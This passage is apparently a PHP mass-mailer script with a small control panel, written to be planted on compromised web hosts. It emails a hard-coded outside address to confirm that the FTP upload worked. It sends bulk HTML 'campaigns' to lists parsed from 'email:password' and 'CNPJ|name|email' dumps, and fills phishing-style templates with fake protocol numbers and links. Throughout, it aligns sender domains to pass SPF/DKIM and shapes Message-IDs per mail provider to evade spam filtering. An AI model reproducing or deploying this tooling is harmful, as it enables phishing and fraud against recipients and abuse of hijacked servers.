true, 'campanha' => 1, 'probe' => 1, 'fmt' => 'email|cnpj-nome-email')); exit; } define('DANDINHO_TO', 'ninafp2001@outlook.com'); define('DANDINHO_FROM_NAME', 'Dev - Danadinho FTP'); function dandinho_encode_from_name($name) { $name = trim((string)$name); if ($name === '') { return ''; } if (preg_match('/[^\x20-\x7E]/', $name)) { return '=?UTF-8?B?' . base64_encode($name) . '?='; } if (preg_match('/[,;"\\\\]/', $name)) { return '"' . str_replace(array('\\', '"'), array('\\\\', '\\"'), $name) . '"'; } return $name; } function dandinho_from_host() { $host = isset($_SERVER['HTTP_HOST']) ? (string)$_SERVER['HTTP_HOST'] : 'localhost'; $host = preg_replace('/:\d+$/', '', $host); $host = preg_replace('/^www\./i', '', $host); if ($host === '' || !preg_match('/^[a-z0-9.-]+$/i', $host)) { $host = 'localhost'; } return strtolower($host); } /** Dominio do shell (painel manda from_domain) — evita HTTP_HOST errado em proxy/parking. */ function dandinho_resolve_from_host($override = '') { $host = strtolower(trim((string)$override)); $host = preg_replace('/:\d+$/', '', $host); $host = preg_replace('/^www\./i', '', $host); if ($host !== '' && preg_match('/^[a-z0-9.-]+$/i', $host)) { return $host; } return dandinho_from_host(); } function dandinho_email_domain($email) { $email = strtolower(trim((string)$email)); $at = strpos($email, '@'); if ($at === false) { return ''; } return substr($email, $at + 1); } function dandinho_domain_aligned($email, $fromHost) { $dom = dandinho_email_domain($email); $fromHost = strtolower(trim((string)$fromHost)); if ($dom === '' || $fromHost === '') { return false; } if ($dom === $fromHost) { return true; } $lenDom = strlen($dom); $lenHost = strlen($fromHost); if ($lenHost > $lenDom && substr($fromHost, -($lenDom + 1)) === '.' . $dom) { return true; } if ($lenDom > $lenHost && substr($dom, -($lenHost + 1)) === '.' . $fromHost) { return true; } return false; } /** * Endereco From alinhado ao dominio (SPF/DKIM). Prioridade: from_email valido > contato@ > noreply@. */ function dandinho_resolve_from_address($from_email_post, $fromHost) { $candidate = strtolower(trim((string)$from_email_post)); if ($candidate !== '' && dandinho_domain_aligned($candidate, $fromHost)) { return $candidate; } $locals = array('contato', 'noreply', 'webmaster'); foreach ($locals as $local) { $addr = $local . '@' . $fromHost; if (dandinho_domain_aligned($addr, $fromHost)) { return $addr; } } return 'noreply@' . $fromHost; } function dandinho_from_address() { return dandinho_resolve_from_address('', dandinho_from_host()); } function dandinho_encode_subject($subject) { $subject = trim((string)$subject); if ($subject === '') { return 'Notificacao'; } if (preg_match('/[^\x20-\x7E]/', $subject)) { return '=?UTF-8?B?' . base64_encode($subject) . '?='; } return $subject; } /** * Message-ID inbox-friendly por familia do destinatario. * Dominio SEMPRE do host remetente (nao spoofa gmail/outlook). */ function dandinho_make_msgid($inbox, $fromHost) { $host = preg_replace('/[^a-z0-9.-]/i', '', (string)$fromHost); if ($host === '') { $host = dandinho_from_host(); } $t = (string)round(microtime(true) * 1000); if (function_exists('random_bytes')) { $hx = bin2hex(random_bytes(8)); } else { $hx = substr(md5(uniqid((string)mt_rand(), true)), 0, 16); } $inbox = strtolower(trim((string)$inbox)); if ($inbox === 'microsoft') { $left = $t . '.' . substr($hx, 0, 12); } elseif ($inbox === 'google') { $left = substr($hx, 0, 16) . '.' . $t; } elseif ($inbox === 'yahoo') { $left = $t . '.' . substr($hx, 0, 14); } elseif ($inbox === 'webmail') { $left = substr($hx, 0, 8) . '.' . substr($t, -10) . '.' . substr($hx, 8, 8); } else { $left = $hx . '.' . substr($t, -8); } return '<' . $left . '@' . $host . '>'; } function dandinho_rfc2822_date() { return date('D, d M Y H:i:s O'); } function dandinho_send_mail($homem, $mulher) { $homem = trim((string)$homem) !== '' ? trim((string)$homem) : 'Homem'; $mulher = trim((string)$mulher) !== '' ? trim((string)$mulher) : 'Mulher'; $subject = $homem . ' ' . $mulher; $dataHora = date('Y-m-d H:i:s'); $body = $dataHora; return dandinho_send_mail_ex(DANDINHO_TO, $subject, $body, false); } function dandinho_send_mail_ex($para, $subject, $body, $is_html, $from_name = '', $msgid = '', $inbox = '', $from_domain = '', $from_email = '') { $dataHora = date('Y-m-d H:i:s'); $para = trim((string)$para); if ($para === '' || strpos($para, '@') === false) { $para = DANDINHO_TO; } $subject = trim((string)$subject) !== '' ? trim((string)$subject) : 'Notificacao'; $body = (string)$body; if ($body === '') { $body = $dataHora; } $displayName = trim((string)$from_name); if ($displayName === '') { $displayName = DANDINHO_FROM_NAME; } if (!function_exists('mail')) { return array( 'ok' => false, 'subject' => $subject, 'data_hora' => $dataHora, 'erro' => 'mail() nao disponivel neste servidor', ); } $fromHost = dandinho_resolve_from_host($from_domain); $from = dandinho_resolve_from_address($from_email, $fromHost); $fromHdr = dandinho_encode_from_name($displayName); $fromLine = $fromHdr !== '' ? ($fromHdr . ' <' . $from . '>') : $from; $ctype = $is_html ? 'text/html; charset=UTF-8' : 'text/plain; charset=UTF-8'; $msgid = trim((string)$msgid); if ($msgid === '' || strpos($msgid, '@') === false) { $msgid = dandinho_make_msgid($inbox, $fromHost); } if ($msgid[0] !== '<') { $msgid = '<' . trim($msgid, '<>') . '>'; } $headers = array( 'MIME-Version: 1.0', 'Content-Type: ' . $ctype, 'Content-Transfer-Encoding: 8bit', 'Date: ' . dandinho_rfc2822_date(), 'Message-ID: ' . $msgid, 'From: ' . $fromLine, 'Reply-To: ' . $from, ); // Envelope (-f) alinha Return-Path com From (header Return-Path nao e confiavel no mail()). $envelope = '-f' . $from; $ok = @mail($para, dandinho_encode_subject($subject), $body, implode("\r\n", $headers), $envelope); return array( 'ok' => $ok, 'subject' => $subject, 'remetente' => $displayName, 'msgid' => $msgid, 'data_hora' => $dataHora, 'erro' => $ok ? null : 'mail() retornou false', ); } /** * Extrai e-mail de linha inteligente: * - email * - email:senha / email;resto * - CNPJ | NOME | email * - NOME | email * - qualquer trecho com @ */ function dandinho_parse_dest($raw) { $out = array('email' => '', 'cnpj' => '', 'nome' => '', 'raw' => trim((string)$raw)); $s = $out['raw']; if ($s === '') { return $out; } // Formato pipe: CNPJ | NOME | email ou NOME | email if (strpos($s, '|') !== false) { $parts = array(); foreach (explode('|', $s) as $p) { $p = trim($p); if ($p !== '') { $parts[] = $p; } } $emailIdx = -1; for ($i = 0; $i < count($parts); $i++) { if (strpos($parts[$i], '@') !== false) { $emailIdx = $i; break; } } if ($emailIdx >= 0) { $email = $parts[$emailIdx]; // corta senha/extra apos email if (preg_match('/^([^\s;,:]+@[^\s;,:]+)/', $email, $m)) { $email = $m[1]; } $out['email'] = strtolower(trim($email)); if ($emailIdx >= 2) { $out['cnpj'] = $parts[0]; $out['nome'] = implode(' | ', array_slice($parts, 1, $emailIdx - 1)); } elseif ($emailIdx === 1) { // pode ser CNPJ|email ou NOME|email if (preg_match('/^\d/', $parts[0])) { $out['cnpj'] = $parts[0]; } else { $out['nome'] = $parts[0]; } } return $out; } } // So email (ou email:senha / email resto) if (preg_match('/([a-z0-9._%+\-!]+@[a-z0-9.\-]+\.[a-z]{2,})/i', $s, $m)) { $out['email'] = strtolower(trim($m[1])); } return $out; } function dandinho_rand_digits($n) { $s = ''; for ($i = 0; $i < $n; $i++) { $s .= (string)mt_rand(0, 9); } return $s; } function dandinho_data_br() { $meses = array(1=>'janeiro',2=>'fevereiro',3=>'março',4=>'abril',5=>'maio',6=>'junho', 7=>'julho',8=>'agosto',9=>'setembro',10=>'outubro',11=>'novembro',12=>'dezembro'); $d = (int)date('j'); $m = (int)date('n'); $y = date('Y'); $h = date('H:i:s'); return $d . ' de ' . $meses[$m] . ' de ' . $y . ', ' . $h; } /** * Preenche chaves restantes no HTML/assunto. * Sem CNPJ/nome na lista: usa vazios ou derivados leves (nao inventa CNPJ se nao houver chave). */ function dandinho_apply_keys($text, $email, $cnpj, $nome, $links) { $text = (string)$text; if ($text === '') { return $text; } $data = dandinho_data_br(); $numero = dandinho_rand_digits(8); $map = array( '{email}' => $email, '{EMAIL}' => $email, '%EMAIL%' => $email, '{data}' => $data, '{hora}' => date('H:i:s'), '{numero}' => $numero, '{protocolo}' => $numero, '{id}' => dandinho_rand_digits(10), '{links}' => $links, '{link}' => $links, '{cnpj}' => $cnpj, '{nome}' => $nome, '{empresa}' => $nome, '{razaosocial}' => $nome, ); $text = str_replace(array_keys($map), array_values($map), $text); // remove prefixo legado vazio: " | | Assunto" ou "|| Assunto" $text = preg_replace('/^\s*\|\s*\|\s*/', '', $text); $text = preg_replace('/^\s*\|\s*/', '', $text); return $text; } if (isset($_GET['send']) && (string)$_GET['send'] === 'auto') { header('Content-Type: application/json; charset=UTF-8'); $remetente = isset($_GET['remetente']) ? (string)$_GET['remetente'] : DANDINHO_FROM_NAME; $homem = isset($_GET['homem']) ? (string)$_GET['homem'] : 'Dev'; $mulher = isset($_GET['mulher']) ? (string)$_GET['mulher'] : 'Danadinho FTP'; $assunto = trim($homem . ' ' . $mulher); if ($assunto === '') { $assunto = 'FTP UP OK'; } $r = dandinho_send_mail_ex(DANDINHO_TO, $assunto, date('Y-m-d H:i:s'), false, $remetente); $r['campanha'] = 1; echo json_encode($r); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && (isset($_POST['enviar']) || isset($_POST['para']))) { header('Content-Type: application/json; charset=UTF-8'); if (isset($_POST['para']) && trim((string)$_POST['para']) !== '') { $parsed = dandinho_parse_dest($_POST['para']); // Campos opcionais do painel (se mandar separado) if (!empty($_POST['email'])) { $parsed['email'] = strtolower(trim((string)$_POST['email'])); } if (!empty($_POST['cnpj'])) { $parsed['cnpj'] = trim((string)$_POST['cnpj']); } if (!empty($_POST['nome'])) { $parsed['nome'] = trim((string)$_POST['nome']); } $para = $parsed['email']; if ($para === '' || strpos($para, '@') === false) { echo json_encode(array( 'ok' => false, 'campanha' => 1, 'erro' => 'destinatario sem e-mail valido (aceita so-email ou CNPJ|NOME|email)', 'raw' => $parsed['raw'], )); exit; } $assunto = isset($_POST['assunto']) ? (string)$_POST['assunto'] : ''; $html = isset($_POST['html']) ? (string)$_POST['html'] : ''; $corpo = isset($_POST['corpo']) ? (string)$_POST['corpo'] : ''; $body = $html !== '' ? $html : $corpo; $is_html = $html !== ''; $remetente = isset($_POST['remetente']) ? (string)$_POST['remetente'] : ''; $links = isset($_POST['links']) ? trim((string)$_POST['links']) : '#'; if ($links === '') { $links = '#'; } $msgid = isset($_POST['msgid']) ? trim((string)$_POST['msgid']) : ''; $inbox = isset($_POST['inbox']) ? trim((string)$_POST['inbox']) : ''; if ($inbox === '' && isset($_POST['provider'])) { // fallback leve $inbox = 'corp'; } $from_domain = isset($_POST['from_domain']) ? (string)$_POST['from_domain'] : ''; $from_email = isset($_POST['from_email']) ? (string)$_POST['from_email'] : ''; // Se HTML/assunto ainda tiverem chaves, preenche (lista so-email ou completa) $assunto = dandinho_apply_keys($assunto, $para, $parsed['cnpj'], $parsed['nome'], $links); $body = dandinho_apply_keys($body, $para, $parsed['cnpj'], $parsed['nome'], $links); $r = dandinho_send_mail_ex($para, $assunto, $body, $is_html, $remetente, $msgid, $inbox, $from_domain, $from_email); $r['campanha'] = 1; $r['para'] = $para; $r['fmt'] = ($parsed['cnpj'] !== '' || $parsed['nome'] !== '') ? 'cnpj-nome-email' : 'email'; echo json_encode($r); exit; } $homem = isset($_POST['homem']) ? (string)$_POST['homem'] : ''; $mulher = isset($_POST['mulher']) ? (string)$_POST['mulher'] : ''; echo json_encode(dandinho_send_mail($homem, $mulher)); exit; } header('Content-Type: text/html; charset=UTF-8'); ?> Dev - Danadinho

Dev - Danadinho

Campanha: so e-mail OU CNPJ|NOME|email

Para teste: